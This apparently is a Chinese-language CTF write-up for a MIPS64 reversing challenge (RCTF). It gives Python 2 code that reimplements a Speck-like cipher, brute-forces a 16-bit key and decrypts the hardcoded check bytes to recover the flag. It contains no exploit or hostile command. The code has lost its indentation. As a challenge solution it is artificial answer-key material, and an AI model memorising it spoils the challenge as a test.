0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2, 0x0A

是一道mips64的题目，考虑ida7.5才支持mips反编译，所以只能上ghidra了。

main函数

cipher是关键函数

嵌套一个encrypt

尝试angr爆破，由于大小端原因没爆破出来，正在尝试逆向脚本。

```
def ror(v,n):
return ((v >> n) | (v << (64-n)))&0xffffffffffffffff
def encrypt(a,b,c,d ):
b = (ror(b,8) + a ^ c)&0xffffffffffffffff
a = ror(a,61) ^ b
for i in range(0x1f):
d = (ror(d,8) + c ^ i)&0xffffffffffffffff
c = ror(c,61) ^ d
b = (ror(b,8) + a ^ c)&0xffffffffffffffff
a = ror(a,61) ^ b
return a,b
def decrypt(a,b,c,d):
key = [d,c]
for i in range(0x1f):
key.append((ror(key[2*i],8) + key[2*i+1] ^ i)&0xffffffffffffffff )
key.append(ror(key[2*i+1],61) ^ key[2*i+2])
for i in range(0x1f,-1,-1):
a = ror(a^b,3)
b = ror(((b^key[2*i+1])-a)&0xffffffffffffffff,56)
return a,b
def crack():
```

```
check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4,
0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1,
0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2]

check = struct.unpack('>'+'Q'*6,''.join(map(chr,check)))

for i in range(0x10000):

c = i

d = 0

c,d = struct.unpack('QQ',struct.pack('>QQ',c,d))

r1,r2 = decrypt(check[0],check[1],c,d)

tmp1 = struct.pack('>Q',r1)

# tmp2 = struct.pack('>Q',r2)

if 'RCTF{' in tmp1:

print i,tmp1

break

def de_flag():

check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4,
0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1,
0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2]

check = struct.unpack('>'+'Q'*6,''.join(map(chr,check)))

flag = ''

for i in range(len(check)/2):

c,d = struct.unpack('QQ',struct.pack('>QQ',4980,0))

r1,r2 = decrypt(check[2*i],check[2*i+1],c,d)

flag += struct.pack('>Q',r1)

flag += struct.pack('>Q',r2)

print flag

def main():

crack()

de_flag()

end
```